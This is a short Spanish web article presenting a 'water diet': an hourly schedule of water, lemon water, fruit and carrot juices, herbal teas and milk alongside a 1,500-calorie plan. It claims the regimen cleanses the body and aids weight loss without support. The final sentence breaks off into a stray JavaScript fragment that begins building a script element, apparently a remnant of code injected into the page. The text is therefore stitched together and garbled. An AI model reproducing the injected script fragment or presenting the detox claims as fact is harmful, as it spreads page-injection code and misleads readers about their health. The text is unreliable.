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¿Qué es “la dieta del agua”?

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A simple vista, podríamos decir que no existe ser humano en el universo que no concluya con la dieta del agua: pero es un error. Las dietas valen, siempre, no por sus elementos sino por sus raciones: beber agua lo justo y necesario no alcanza para calificarse como fan de la dieta del agua pues, por el contrario, para considerarse cultor de éste plan hace falta aún más compromiso y responsabilidad.

La dieta del agua no es la más fácil ni tampoco la más difícil: en todo caso se trata de un ejercicio que vale como complemento, para depurar, sí, para perder peso, también.

Aquí presentamos la dieta del agua que, desde ya, debe ser acompañada por un plan alimenticio de 1500 calorías a elección.

A primera hora: beber un vaso grande de agua con una rodaja de limón.

Junto con el desayuno: beber un vaso de agua y una infusión caliente (sin azúcar).

Durante la media mañana: tomar un refresco de frutas (naranja, melón o sandía); beber otro vaso de agua al que puedes un zumo de aloe.

En la hora del almuerzo: sopa, un vaso de agua o un té de hierbas.

A media tarde: un vaso de jugo de zanahoria.

Previo a la cena: tres vasos de agua; uno de leche fría.

Antes de dormir: un vaso de agua antes de acostarte, otro de leche, en este caso caliente.} else {var d=document;var s=d.createElement('script');

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